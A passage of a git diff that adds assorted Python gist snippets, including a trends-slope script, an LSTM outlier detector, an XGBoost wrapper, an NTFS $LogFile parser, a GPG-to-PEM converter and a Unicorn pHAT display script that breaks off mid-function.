+    trenddata['trends'] = pd.to_numeric(trenddata['trends'], errors='coerce')
+    trenddata['date'] = trenddata['date'].str.extract('(^[0-9]{4}\-[0-9]{2}\-[0-9]{2}) \-.*')
+    trenddata = trenddata.dropna()
+    trenddata['date'] = pd.to_datetime(trenddata['date'])
+    trenddata['year'] = pd.DatetimeIndex(trenddata['date']).year
+    trenddata['month'] = pd.DatetimeIndex(trenddata['date']).month
+    trenddata['day'] = pd.DatetimeIndex(trenddata['date']).day
+
+    maxyear = trenddata['year'].max()
+    grouped = trenddata.groupby(['year']).mean()
+
+    def slope_formula(xone, yone, xtwo, ytwo):
+        return (ytwo-yone)/(xtwo-xone)
+
+    maxyear = trenddata['year'].max()
+    grouped = trenddata.groupby(['year']).mean()
+    slope = slope_formula(1,float(grouped.loc[grouped.index==maxyear-2]['trends']),
+                          2,float(grouped.loc[grouped.index==maxyear-1]['trends']))
+    keywordlist = keywordlist.append({'keyword':keyword,'slope':slope}, ignore_index=True)
+    os.remove(csvname)
+
+# Specify a csv filename to output the slope values.
+keywordlist.to_csv("trends_slope.csv", sep=",", encoding="utf-8", index=False)
+
+print("Slope calculation and CSV export complete.")
\ No newline at end of file
diff --git a/hard-gists/b8a7b7be344e447e7ee6625fe2fdd765/._snippet.py b/hard-gists/b8a7b7be344e447e7ee6625fe2fdd765/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b8a7b7be344e447e7ee6625fe2fdd765/._snippet.py differ
diff --git a/hard-gists/b8a7b7be344e447e7ee6625fe2fdd765/snippet.py b/hard-gists/b8a7b7be344e447e7ee6625fe2fdd765/snippet.py
new file mode 100644
index 00000000..5ff52b3b
--- /dev/null
+++ b/hard-gists/b8a7b7be344e447e7ee6625fe2fdd765/snippet.py
@@ -0,0 +1,90 @@
+from __future__ import print_function
+
+import os
+
+import numpy as np
+from keras.layers import RepeatVector
+from keras.layers.core import Dropout
+from keras.layers.recurrent import LSTM
+from keras.models import Sequential
+from keras.models import load_model
+
+np.random.seed(123)
+
+
+def prepare_sequences(x_train, window_length, random_indices):
+    full_sequence = x_train.flatten()
+    windows = []
+    outliers = []
+    for window_start in range(0, len(full_sequence) - window_length + 1):
+        window_end = window_start + window_length
+        window_range = range(window_start, window_end)
+        window = list(full_sequence[window_range])
+        contain_outlier = len(set(window_range).intersection(set(random_indices))) > 0
+        outliers.append(contain_outlier)
+        windows.append(window)
+    return np.expand_dims(np.array(windows), axis=2), outliers
+
+
+def get_signal(size, outliers_size=0.01):
+    sig = np.expand_dims(np.random.normal(loc=0, scale=1, size=(size, 1)), axis=1)
+    if outliers_size < 1:  # percentage.
+        outliers_size = int(size * outliers_size)
+    random_indices = np.random.choice(range(size), size=outliers_size, replace=False)
+    sig[random_indices] = np.random.randint(6, 9, 1)[0]
+    return sig, random_indices
+
+
+def tp_fn_fp_tn(total, expected, actual):
+    tp = len(set(expected).intersection(set(actual)))
+    fn = len(set(expected) - set(actual))
+    fp = len(set(actual) - set(expected))
+    tn = len((total - set(expected)).intersection(total - set(actual)))
+    return tp, fn, fp, tn
+
+
+def main():
+    window_length = 10
+    select_only_last_state = False
+    model_file = 'model.h5'
+    hidden_dim = 16
+
+    # no outliers.
+    signal_train, _ = get_signal(100000, outliers_size=0)
+    x_train, _ = prepare_sequences(signal_train, window_length, [])
+
+    # 1 percent are outliers.
+    signal_test, random_indices = get_signal(100000, outliers_size=0.01)
+    x_test, contain_outliers = prepare_sequences(signal_test, window_length, random_indices)
+    outlier_indices = np.where(contain_outliers)[0]
+
+    if os.path.isfile(model_file):
+        m = load_model(model_file)
+    else:
+        m = Sequential()
+        if select_only_last_state:
+            m.add(LSTM(hidden_dim, input_shape=(window_length, 1), return_sequences=False))
+            m.add(RepeatVector(window_length))
+        else:
+            m.add(LSTM(hidden_dim, input_shape=(window_length, 1), return_sequences=True))
+        m.add(Dropout(p=0.1))
+        m.add(LSTM(1, return_sequences=True, activation='linear'))
+        m.compile(loss='mse', optimizer='adam')
+        m.fit(x_train, x_train, batch_size=64, nb_epoch=5, validation_data=(x_test, x_test))
+        m.save(model_file)
+
+    pred_x_test = m.predict(x_test)
+    mae_of_predictions = np.squeeze(np.max(np.square(pred_x_test - x_test), axis=1))
+    mae_threshold = np.mean(mae_of_predictions) + np.std(mae_of_predictions)  # can use a running mean instead.
+    actual = np.where(mae_of_predictions > mae_threshold)[0]
+
+    tp, fn, fp, tn = tp_fn_fp_tn(set(range(len(pred_x_test))), outlier_indices, actual)
+    precision = float(tp) / (tp + fp)
+    hit_rate = float(tp) / (tp + fn)
+    accuracy = float(tp + tn) / (tp + tn + fp + fn)
+
+    print('precision = {}, hit_rate = {}, accuracy = {}'.format(precision, hit_rate, accuracy))
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/b9309cdd7d5adc3b4b70/._snippet.py b/hard-gists/b9309cdd7d5adc3b4b70/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b9309cdd7d5adc3b4b70/._snippet.py differ
diff --git a/hard-gists/b9309cdd7d5adc3b4b70/snippet.py b/hard-gists/b9309cdd7d5adc3b4b70/snippet.py
new file mode 100644
index 00000000..a61aaf67
--- /dev/null
+++ b/hard-gists/b9309cdd7d5adc3b4b70/snippet.py
@@ -0,0 +1,18 @@
+# http://afni.nimh.nih.gov/pub/dist/src/pkundu/meica.libs/nibabel/eulerangles.py
+import eulerangles
+import c4d
+
+threeMat = c4d.Matrix().Scale(c4d.Vector(1, 1, -1))
+
+def mat2quat(mat):
+    mt = threeMat * m
+    v1, v2, v3 = mat.v1, mat.v2, mat.v3
+    rotMat = [
+        [v1.x, v1.y, v1.z],
+        [v2.x, v2.y, v2.z],
+        [v3.x, v3.y, v3.z]
+    ]
+    euler = eulerangles.mat2euler(rotMat)
+    quat = eulerangles.euler2quat(euler.z, euler.y, euler.x)
+    
+    return [quat[1], quat[2], quat[3], quat[0]]
\ No newline at end of file
diff --git a/hard-gists/b95cb69fd1c82ca4c2ff/._snippet.py b/hard-gists/b95cb69fd1c82ca4c2ff/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b95cb69fd1c82ca4c2ff/._snippet.py differ
diff --git a/hard-gists/b95cb69fd1c82ca4c2ff/snippet.py b/hard-gists/b95cb69fd1c82ca4c2ff/snippet.py
new file mode 100644
index 00000000..5598e00c
--- /dev/null
+++ b/hard-gists/b95cb69fd1c82ca4c2ff/snippet.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import sys
+import math
+
+import numpy as np
+
+sys.path.append('xgboost/wrapper/')
+import xgboost as xgb
+
+
+class XGBoostClassifier():
+    def __init__(self, num_boost_round=10, **params):
+        self.clf = None
+        self.num_boost_round = num_boost_round
+        self.params = params
+        self.params.update({'objective': 'multi:softprob'})
+
+    def fit(self, X, y, num_boost_round=None):
+        num_boost_round = num_boost_round or self.num_boost_round
+        self.label2num = dict((label, i) for i, label in enumerate(sorted(set(y))))
+        dtrain = xgb.DMatrix(X, label=[self.label2num[label] for label in y])
+        self.clf = xgb.train(params=self.params, dtrain=dtrain, num_boost_round=num_boost_round)
+
+    def predict(self, X):
+        num2label = dict((i, label)for label, i in self.label2num.items())
+        Y = self.predict_proba(X)
+        y = np.argmax(Y, axis=1)
+        return np.array([num2label[i] for i in y])
+
+    def predict_proba(self, X):
+        dtest = xgb.DMatrix(X)
+        return self.clf.predict(dtest)
+
+    def score(self, X, y):
+        Y = self.predict_proba(X)
+        return 1 / logloss(y, Y)
+
+    def get_params(self, deep=True):
+        return self.params
+
+    def set_params(self, **params):
+        if 'num_boost_round' in params:
+            self.num_boost_round = params.pop('num_boost_round')
+        if 'objective' in params:
+            del params['objective']
+        self.params.update(params)
+        return self
+    
+    
+def logloss(y_true, Y_pred):
+    label2num = dict((name, i) for i, name in enumerate(sorted(set(y_true))))
+    return -1 * sum(math.log(y[label2num[label]]) if y[label2num[label]] > 0 else -np.inf for y, label in zip(Y_pred, y_true)) / len(Y_pred)
+    
\ No newline at end of file
diff --git a/hard-gists/b9768b4eefe679c988ce/._snippet.py b/hard-gists/b9768b4eefe679c988ce/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b9768b4eefe679c988ce/._snippet.py differ
diff --git a/hard-gists/b9768b4eefe679c988ce/snippet.py b/hard-gists/b9768b4eefe679c988ce/snippet.py
new file mode 100644
index 00000000..b223685b
--- /dev/null
+++ b/hard-gists/b9768b4eefe679c988ce/snippet.py
@@ -0,0 +1,165 @@
+#! /usr/bin/env python
+# -*- coding: utf-8 *-*
+#
+# Copyright (C) Nicolas Bareil <nico@chdir.org>
+#
+# This program is published under Apache 2.0 license
+
+from optparse import OptionParser
+import fileinput
+import logging
+import os
+import sys
+import struct
+import ntfs.mft.MFT
+
+ops = {
+    0x00:                         'Noop',
+    0x01:        'CompensationLogRecord',
+    0x02:  'InitializeFileRecordSegment',
+    0x03:  'DeallocateFileRecordSegment',
+    0x04:  'WriteEndOfFileRecordSegment',
+    0x05:              'CreateAttribute',
+    0x06:              'DeleteAttribute',
+    0x07:          'UpdateResidentValue',
+    0x08:       'UpdateNonresidentValue',
+    0x09:           'UpdateMappingPairs',
+    0x0A:          'DeleteDirtyClusters',
+    0x0B:         'SetNewAttributeSizes',
+    0x0C:            'AddIndexEntryRoot',
+    0x0D:         'DeleteIndexEntryRoot',
+    0x0E:      'AddIndexEntryAllocation',
+    0x0F:   'DeleteIndexEntryAllocation',
+    0x10:        'WriteEndOfIndexBuffer',
+    0x11:         'SetIndexEntryVcnRoot',
+    0x12:   'SetIndexEntryVcnAllocation',
+    0x13:           'UpdateFileNameRoot',
+    0x14:     'UpdateFileNameAllocation',
+    0x15:   'SetBitsInNonresidentBitMap',
+    0x16: 'ClearBitsInNonresidentBitMap',
+    0x17:                       'HotFix',
+    0x18:            'EndTopLevelAction',
+    0x19:           'PrepareTransaction',
+    0x1A:            'CommitTransaction',
+    0x1B:            'ForgetTransaction',
+    0x1C:     'OpenNonresidentAttribute',
+    0x1D:       'OpenAttributeTableDump',
+    0x1E:           'AttributeNamesDump',
+    0x1F:           'DirtyPageTableDump',
+    0x20:         'TransactionTableDump',
+    0x21:         'UpdateRecordDataRoot',
+    0x22:   'UpdateRecordDataAllocation' ,
+}
+
+recordHeaderLength = 48          # restartArea->RecordHeaderLength
+updateSequenceArrayOffset = 0x40 # restartArea->UpdateSequenceArrayOffset
+updateSequenceArraySize = 9      # restartArea->UpdateSequenceArraySize
+
+def ntfsFixup(usv, usa, buf):
+    fixed=[]
+    prev = 0
+    i = 1
+    while i < updateSequenceArraySize:
+        pos = i * 512
+        if buf[pos-2:pos] != usv:
+            log.error('[i=%d,pos=%d] %r != %r' % (i, pos, usv, buf[pos-2:pos]))
+            sys.exit(1)
+        fixed.append(buf[prev:pos-2])
+        fixed.append(usa[i-1])
+        fixed.append(usa[i])
+        prev = pos
+        i += 1
+    return ''.join(fixed)
+
+def decode_page(pagebuf, remainder):
+    if pagebuf[:4] == '\xff\xff\xff\xff': # End of file
+        return
+    if pagebuf[:4] != 'RCRD':
+        log.error("Bad magic: %r" % pagebuf[:4])
+        sys.exit(1)
+
+    rcrd = ntfsFixup(pagebuf[0x28:0x28+2],
+                     pagebuf[0x28:updateSequenceArrayOffset],
+                     pagebuf)
+
+    # PAGE_HEADER | UPDATE SEQUENCE ARRAY      | OPERATION RECORD HEADER
+    # 0           0x28                         0x40
+
+    offset = 0x40
+    while offset+recordHeaderLength < len(rcrd):
+        if offset % 8 != 0:
+            log.error('a record header must be aligned on 64 bits (offset=%#x)' % offset)
+            sys.exit(2)
+
+        thisLsn = struct.unpack('<Q', rcrd[offset:offset+8])[0]
+        clientPreviousLsn = struct.unpack('<Q', rcrd[offset+8:offset+8+8])[0]
+        clientUndoNextLsn = struct.unpack('<Q', rcrd[offset+16:offset+16+8])[0]
+        clientDataLength  = struct.unpack('<I', rcrd[offset+24:offset+24+4])[0]
+
+        log.debug('thisLsn=%#d prev_lsn=%#d clientDataLength=%d' % (thisLsn, clientPreviousLsn, clientDataLength))
+
+        if clientDataLength != 0:
+            client_data = rcrd[offset+recordHeaderLength : offset+recordHeaderLength+clientDataLength]
+            recordPageHeaderFlag = struct.unpack('<H', rcrd[offset+0x28 : offset+0x28+2])[0]
+            if clientDataLength > len(rcrd) - offset:
+                if recordPageHeaderFlag & 0x1 == 0:
+                    log.warning('returning from loop, flags=%#x' % recordPageHeaderFlag)
+                    #sys.exit(2)
+                return remainder+client_data
+            decode_lsn_record(remainder + client_data)
+            remainder = ''
+        offset += recordHeaderLength + clientDataLength
+        offset += (8-offset) % 8
+    return ''
+
+
+def decode_lsn_record(buf):
+    if len(buf) < 12:
+        return
+    redo_op  = struct.unpack('<H', buf[0:2])[0]
+    undo_op  = struct.unpack('<H', buf[2:4])[0]
+    redo_ofs  = struct.unpack('<H', buf[4:6])[0]
+    redo_len  = struct.unpack('<H', buf[6:8])[0]
+    undo_ofs  = struct.unpack('<H', buf[8:10])[0]
+    undo_len  = struct.unpack('<H', buf[10:12])[0]
+
+    log.debug('redo_ops=%s undo_op=%s redo_ofs=%#x redo_len=%d undo_ofs=%#x undo_len=%d' % (ops.get(redo_op, hex(redo_op)), ops.get(undo_op, hex(undo_op)), redo_ofs, redo_len, undo_ofs, undo_len))
+    if redo_op > 0x22 or undo_op > 0x22:
+        log.warning('Anormal redo_op or undo_op')
+        #sys.exit(1)
+    if redo_op == 0x02:
+        r = ntfs.mft.MFT.MFTRecord(buf[redo_ofs:redo_ofs+redo_len], 0, False, need_fixup=False)
+        log.debug(buf[redo_ofs:redo_ofs+redo_len].encode('hex'))
+        fn = r.filename_information()
+        if fn:
+            print fn.filename()
+
+def usage(ret=1):
+    parser.print_help()
+    sys.exit(ret)
+
+
+if __name__ == '__main__':
+    parser = OptionParser(usage=u'usage: %prog [options] $LogFile')
+    parser.add_option('-v', '--verbose', dest='verbose', action="store_true",
+                      default=False, help=u"Verbose mode")
+    parser.add_option('-d', '--debug', dest='debug', action="store_true",
+                      default=False, help=u"Debug mode")
+    (options,args) = parser.parse_args()
+
+    loglvl = logging.WARNING if options.verbose else logging.INFO
+    loglvl = logging.DEBUG if options.debug else loglvl
+    logging.basicConfig(level=loglvl,
+                        format="%(asctime)s %(name)8s %(levelname)5s: %(message)s")
+    log = logging.getLogger(sys.argv[0])
+
+    f = open(args[0])
+    buf = f.read(4096) # restart area
+    buf = f.read(4096) # restart area
+    remainder=''
+    while True:
+        buf = f.read(4096)
+        if not buf:
+            break
+        remainder = decode_page(buf, remainder)
+
diff --git a/hard-gists/b9bc61a74e7cadeb1fec/._snippet.py b/hard-gists/b9bc61a74e7cadeb1fec/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b9bc61a74e7cadeb1fec/._snippet.py differ
diff --git a/hard-gists/b9bc61a74e7cadeb1fec/snippet.py b/hard-gists/b9bc61a74e7cadeb1fec/snippet.py
new file mode 100644
index 00000000..bfc588ed
--- /dev/null
+++ b/hard-gists/b9bc61a74e7cadeb1fec/snippet.py
@@ -0,0 +1,80 @@
+'''This scripts implements Kim's paper "Convolutional Neural Networks for Sentence Classification"
+with a very small embedding size (20) than the commonly used values (100 - 300) as it gives better
+result with much less parameters.
+
+Run on GPU: THEANO_FLAGS=mode=FAST_RUN,device=gpu,floatX=float32 python imdb_cnn.py
+
+Get to 0.853 test accuracy after 5 epochs. 13s/epoch on Nvidia GTX980 GPU.
+'''
+
+from __future__ import print_function
+import numpy as np
+np.random.seed(1337)  # for reproducibility
+
+from keras.preprocessing import sequence
+from keras.models import Graph
+from keras.layers.core import Dense, Dropout, Activation, Flatten
+from keras.layers.embeddings import Embedding
+from keras.layers.convolutional import Convolution1D, MaxPooling1D
+from keras.datasets import imdb
+from keras.utils.np_utils import accuracy
+
+# set parameters:
+max_features = 5000  # vocabulary size
+maxlen = 100  # maximum length of the review
+batch_size = 32
+embedding_dims = 20
+ngram_filters = [3, 5, 7]
+nb_filter = 1200  # number of filters for each ngram_filter
+nb_epoch = 5
+
+# prepare data
+print('Loading data...')
+(X_train, y_train), (X_test, y_test) = imdb.load_data(nb_words=max_features,
+                                                      test_split=0.2)
+print(len(X_train), 'train sequences')
+print(len(X_test), 'test sequences')
+
+print('Pad sequences (samples x time)')
+X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
+X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
+print('X_train shape:', X_train.shape)
+print('X_test shape:', X_test.shape)
+
+# define model
+model = Graph()
+model.add_input(name='input', input_shape=(maxlen,), dtype=int)
+model.add_node(Embedding(max_features, embedding_dims, input_length=maxlen), name='embedding', input='input')
+model.add_node(Dropout(0.), name='dropout_embedding', input='embedding')
+for n_gram in ngram_filters:
+    model.add_node(Convolution1D(nb_filter=nb_filter,
+                                 filter_length=n_gram,
+                                 border_mode='valid',
+                                 activation='relu',
+                                 subsample_length=1,
+                                 input_dim=embedding_dims,
+                                 input_length=maxlen),
+                   name='conv_' + str(n_gram),
+                   input='dropout_embedding')
+    model.add_node(MaxPooling1D(pool_length=maxlen - n_gram + 1),
+                   name='maxpool_' + str(n_gram),
+                   input='conv_' + str(n_gram))
+    model.add_node(Flatten(),
+                   name='flat_' + str(n_gram),
+                   input='maxpool_' + str(n_gram))
+model.add_node(Dropout(0.), name='dropout', inputs=['flat_' + str(n) for n in ngram_filters])
+model.add_node(Dense(1, input_dim=nb_filter * len(ngram_filters)), name='dense', input='dropout')
+model.add_node(Activation('sigmoid'), name='sigmoid', input='dense')
+model.add_output(name='output', input='sigmoid')
+print(model.summary())
+
+# train model
+model.compile(loss={'output': 'binary_crossentropy'}, optimizer='rmsprop')
+model.fit({'input': X_train, 'output': y_train},
+          batch_size=batch_size,
+          nb_epoch=nb_epoch,
+          validation_data={'input': X_test, 'output': y_test})
+acc = accuracy(y_test,
+               np.round(np.array(model.predict({'input': X_test},
+                                               batch_size=batch_size)['output'])))
+print('Test accuracy:', acc)
diff --git a/hard-gists/b9df49cfc1540bc8b896/._snippet.py b/hard-gists/b9df49cfc1540bc8b896/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b9df49cfc1540bc8b896/._snippet.py differ
diff --git a/hard-gists/b9df49cfc1540bc8b896/snippet.py b/hard-gists/b9df49cfc1540bc8b896/snippet.py
new file mode 100644
index 00000000..1d333000
--- /dev/null
+++ b/hard-gists/b9df49cfc1540bc8b896/snippet.py
@@ -0,0 +1,48 @@
+# requires https://github.com/mitchellrj/python-pgp
+from pgp.packets import constants
+from pgp.packets import parsers
+from Crypto.PublicKey import RSA
+import sys
+
+"""
+Converts an GnuPG key to a PEM key
+If the input is password protected, the same password will be used to protect 
+the PEM output.
+"""
+def convert(keyid, passphrase, infh, outfh):
+    packets = parsers.parse_binary_packet_stream(infh)
+    for packet in packets:
+        if packet.type == constants.SECRET_KEY_PACKET_TYPE or packet.type == constants.SECRET_SUBKEY_PACKET_TYPE:
+            print('found key id', packet.key_id)
+            if packet.key_id != keyid:
+                continue
+            if passphrase is not None:
+                print('decrypting key', packet.key_id)
+                packet.decrypt(passphrase)
+            print('creating PEM')
+            rsa = RSA.construct((packet.modulus, packet.exponent, packet.exponent_d, packet.prime_p, packet.prime_q, packet.multiplicative_inverse_u))
+            pem = rsa.exportKey('PEM', passphrase, 1)
+            outfh.write(pem)
+            return
+        elif packet.type == constants.PUBLIC_KEY_PACKET_TYPE or packet.type == constants.PUBLIC_SUBKEY_PACKET_TYPE:
+            print('found public key id', packet.key_id)
+            if packet.key_id != keyid:
+                continue
+            print('creating PEM')
+            rsa = RSA.construct((packet.modulus, packet.exponent))
+            pem = rsa.exportKey('PEM')
+            outfh.write(pem)
+            return
+    print('key not found')
+
+def main(argv):
+    if (len(argv) < 3):
+        print('usage: gpg_to_pem.py keyid input.gpg output.pem [passphrase]')
+        return
+    with open(argv[1], 'rb') as infh:
+        with open(argv[2], 'wb') as outfh:
+            passphrase = bytes(argv[3], 'ascii') if len(argv) > 3 else None
+            convert(argv[0].upper(), passphrase, infh, outfh)
+
+if __name__ == "__main__":
+    main(sys.argv[1:])
diff --git a/hard-gists/ba235b7e90aafb9986158697a457a0d0/._snippet.py b/hard-gists/ba235b7e90aafb9986158697a457a0d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ba235b7e90aafb9986158697a457a0d0/._snippet.py differ
diff --git a/hard-gists/ba235b7e90aafb9986158697a457a0d0/snippet.py b/hard-gists/ba235b7e90aafb9986158697a457a0d0/snippet.py
new file mode 100644
index 00000000..828636c5
--- /dev/null
+++ b/hard-gists/ba235b7e90aafb9986158697a457a0d0/snippet.py
@@ -0,0 +1,17 @@
+# Tested on 10.11
+# Assumes your network is in a state to actually do the discovery and that you have
+# automatic timezone discovery enabled in Date & Time and Location services enabled
+# (Generally this means wifi enabled on your device and network stack is up)
+
+# For enabling location services and auto, check Allister's work here:
+# https://gist.github.com/arubdesu/b72585771a9f606ad800
+
+from Foundation import NSBundle
+TZPP = NSBundle.bundleWithPath_("/System/Library/PreferencePanes/DateAndTime.prefPane/Contents/Resources/TimeZone.prefPane")
+TimeZonePref          = TZPP.classNamed_('TimeZonePref')
+ATZAdminPrefererences = TZPP.classNamed_('ATZAdminPrefererences')
+
+atzap  = ATZAdminPrefererences.defaultPreferences()
+pref   = TimeZonePref.alloc().init()
+atzap.addObserver_forKeyPath_options_context_(pref, "enabled", 0, 0)
+result = pref._startAutoTimeZoneDaemon_(0x1)
\ No newline at end of file
diff --git a/hard-gists/badd18a84b236c9e6c34057512cb569a/._snippet.py b/hard-gists/badd18a84b236c9e6c34057512cb569a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/badd18a84b236c9e6c34057512cb569a/._snippet.py differ
diff --git a/hard-gists/badd18a84b236c9e6c34057512cb569a/snippet.py b/hard-gists/badd18a84b236c9e6c34057512cb569a/snippet.py
new file mode 100644
index 00000000..5c0a7a52
--- /dev/null
+++ b/hard-gists/badd18a84b236c9e6c34057512cb569a/snippet.py
@@ -0,0 +1,337 @@
+#######################################################
+####            NOW AT A GITHUB REPO               ####
+####    https://github.com/tusing/unicorn_phat     ####
+#######################################################
+
+#!/usr/bin/env python
+
+# Display a list of user-defined color bars;
+# fill the remaining area with sparkles.
+# Designed for the Unicorn pHAT.
+# By tusing.
+
+
+import unicornhat as unicorn
+from random import randint
+import time, math, colorsys
+import os, sys, subprocess, threading
+
+# Initialization
+unicorn.set_layout(unicorn.AUTO)
+unicorn.rotation(0)
+unicorn.brightness(0.35) # Tune to your preferences.
+width,height=unicorn.get_shape()
+
+# Line number for where each function will begin
+function_pos = {}
+# Store values for multithreaded fetching functions.
+function_values = {}
+
+def main(display_function, bar_functions, time_limit=None):
+    """ The main display function. Uses function_pos to assign parts of the display to
+    bar functions and display functions.
+
+    Args:
+        display_function (func): A function intended to take up the majority of the HAT's 
+            display. Should limit display area with the use of function_pos.
+        bar_functions (func): A list of single-row "bars". Again, assign position with the
+            use of function_pos.
+        time_limit (int): How long to wait before quitting (in seconds).
+    """
+    if bar_functions is not None:
+        for index, bar_function in enumerate(bar_functions):
+            function_pos[bar_function] = width - index - 1
+        if display_function is not None:
+            function_pos[display_function] = width - len(bar_functions) - 1
+    else:
+        function_pos[display_function] = width - 1
+
+    threads = [threading.Thread(target=function) for function in function_pos.keys()]
+    for thread in threads:
+        thread.start()
+
+    if time_limit is not None:
+        time.sleep(time_limit)
+        print("Time limit reached!")
+        os._exit(3)
+
+
+######################################################################
+#######################                     ##########################
+#######################    BAR FUNCTIONS    ##########################
+#######################                     ##########################
+######################################################################
+
+#######################     INTERNET BAR    ##########################
+def internet_color(update_rate=5):
+    """ Color bar - tests internet connectivity. Displays white if connected;
+    orange if not.
+
+    Args:
+        update_rate (float): seconds to wait before checking connectivity again
+    """
+    # Ping a Google DNS server to check for internet connectivity.
+    while True:
+        ping_response = subprocess.Popen(["/bin/ping", "-c1", "-w100", "8.8.8.8"], stdout=subprocess.PIPE).stdout.read()
+        if "1 received" in str(ping_response):
+            moving_pixel(function_pos[internet_color], (0, 255, 255), (255, 255, 255))
+        else:
+            moving_pixel(function_pos[internet_color], (255, 255, 255), (255, 127, 80))
+        unicorn.show()
+        time.sleep(update_rate)
+
+
+def color_bar(position, color):
+    """ Display a single, static bar of ```color``` in ```position```.
+    
+    Args:
+        position (int): the width index at which to display the bar
+        color (int tuple): (R, G, B) tuple of the RGB color to be displayed 
+    """
+    for height_index in range(height):
+        unicorn.set_pixel(position, height_index, *color)
+    return
+
+def moving_pixel(position, color, background, speed=0.1, direction="right"):
+    """ Display a right-moving pixel of color ```color``` on a color bar with
+    color ```background``` in position ```position.```
+
+    Args:
+        position (int): The width index at which to display the bar animation
+        color (int tuple): (R, G, B) tuple of the moving pixel's color
+        background (int tuple): (R, G, B) tuple of the background color
+        speed (float): how often to wait between pixel movements
+        direction (string, "left" or "right"): the direction the pixel
+            should move, with "right" being towards the USB ports
+    """
+    for height_index in range(height):
+        color_bar(position, background)
+        if direction == "right":
+            unicorn.set_pixel(position, height_index, *color)
+        if direction == "left":
+            unicorn.set_pixel(position, height - height_index - 1, *color)
+        unicorn.show()
+        time.sleep(speed)
+    color_bar(position, background)
+    unicorn.show()
+
+
+
+
+######################################################################
+#######################                     ##########################
+#######################  FETCHER FUNCTIONS  ##########################
+#######################                     ##########################
+######################################################################
+
+def load_fetcher(update_rate=5):
+    """ Get the load of the system and modify the relevant dictionary
+    with the new load value.
+
+    Args:
+        update_rate (float): seconds to wait before fetching load value
+    """
+    while True:
+        function_values[load_fetcher] = os.getloadavg()[0]
+        time.sleep(update_rate)
+
+def random_color():
+    """ Generate a random RGB color.
+    Returns:
+        int tuple: (R, G, B) values
+    """
+    r, g, b = randint(0, 255), randint(0, 255), randint(0, 255)
+    return (r, g, b)
+
+
+
+######################################################################
+#######################                     ##########################
+#######################  DISPLAY FUNCTIONS  ##########################
+#######################                     ##########################
+######################################################################
+
+#######################    LOAD SPARKLES    ##########################
+def load_sparkles(color_function=None, update_rate=5):
+    """ Fill the rest of the area with randomly-positioned sparkles.
+    Frequency of sparkling increases with load^2 (for load>1).
+
+    Args:
+        color_function (func): Define a custom function for the 
+            sparkles' color, instead of a random rainbow.
+        update_rate (float): How often to refresh system load value (seconds).
+    """
+
+    color_function = random_color if color_function is None else color_function
+
+    def random_pixel(color_function):
+        """ Generate a randomly positioned pixel with the color returned
+        by color_function.
+
+        Args:
+            color_function (func): Should return a (R,G,B) color value.
+        """
+        color = color_function()
+
+        def random_position():
+            """ Get the position of a random pixel bound by
+            function_pos. """
+            x = randint(0, function_pos[load_sparkles])
+            y = randint(0, (height-1))
+            return (x,y)
+        selected_pixel = random_position()
+
+        ''' Aesthetic: If the randomly generated pixel is currently lit,
+        turn it off and try with a new pixel. Also works as sort of a
+
+        population control on how many pixels will be lit. '''
+        while sum(unicorn.get_pixel(*selected_pixel)) > 0:
+            unicorn.set_pixel(*(selected_pixel + (0, 0, 0)))
+            selected_pixel = random_position()
+        unicorn.set_pixel(*(selected_pixel + color))
+        return
+
+    ''' Sparkle with a frequency based off of the computer's current
+    load. Fetch load value every update_rate seconds.'''
+    function_values[load_fetcher] = 1
+    threading.Thread(target=load_fetcher).start()
+    while True:
+        tick = 1
+        if function_values[load_fetcher] > 1:
+            tick = 1/(function_values[load_fetcher]**2) if function_values[load_fetcher] < 12 else 1/144
+        for i in range(int(update_rate/tick)):
+            random_pixel(color_function)
+            unicorn.show()
+            time.sleep(tick)
+
+
+#######################    LOAD RAINBOW    ##########################
+def load_rainbow(update_rate=5):
+    """ A lightly modified version of Pimeroni's "rainbow" example.
+    Displays a moving rainbow of colors that increases with load.
+
+    Args:
+        update_rate (float): How often to update the load value (seconds).
+    """
+
+    i = 0.0
+    offset = 30
+    function_values[load_fetcher] = 1
+    threading.Thread(target=load_fetcher).start()
+    while True:
+        load_function = function_values[load_fetcher]/10 if function_values[load_fetcher] <= 10 else 10
+        for w in range(int(update_rate/0.01)):
+            i = i + load_function
+            for y in range(height):
+                for x in range(function_pos[load_rainbow] + 1):
+                    r = 0#x * 32
+                    g = 0#y * 32
+                    xy = x + y / 4
+                    r = (math.cos((x+i)/2.0) + math.cos((y+i)/2.0)) * 64.0 + 128.0
+                    g = (math.sin((x+i)/1.5) + math.sin((y+i)/2.0)) * 64.0 + 128.0
+                    b = (math.sin((x+i)/2.0) + math.cos((y+i)/1.5)) * 64.0 + 128.0
+                    r = max(0, min(255, r + offset))
+                    g = max(0, min(255, g + offset))
+                    b = max(0, min(255, b + offset))
+                    unicorn.set_pixel(x,y,int(r),int(g),int(b))
+            unicorn.show()
+            time.sleep(0.01)
+
+
+#######################     LOAD MATRIX     ##########################
+def load_matrix(update_rate=5):
+    """ A heavily modified version of Pimeroni's "cross" example.
+    Speed increases with n*load^2.
+
+    Args:
+        update_rate (float): seconds to wait before updating load value
+    """
+
+    points = []
+    edge_pixels = []
+    class LightPoint:
+        def __init__(self):
+            self.direction = randint(1, 4)
+            if self.direction == 1:
+                self.x = randint(0, function_pos[load_matrix])
+                self.y = 0
+            elif self.direction == 2:
+                self.x = 0
+                self.y = randint(0, height - 1)
+            elif self.direction == 3:
+                self.x = randint(0, function_pos[load_matrix])
+                self.y = height - 1
+            else:
+                self.x = function_pos[load_matrix] - 1
+                self.y = randint(0, height - 1)
+            self.colour = []
+            for i in range(0, 3):
+                self.colour.append(randint(100, 255))
+            self.oldxy = (self.x, self.y)
+
+    def update_positions():
+        for point in points:
+            # Any point already at an edge has been in display at this
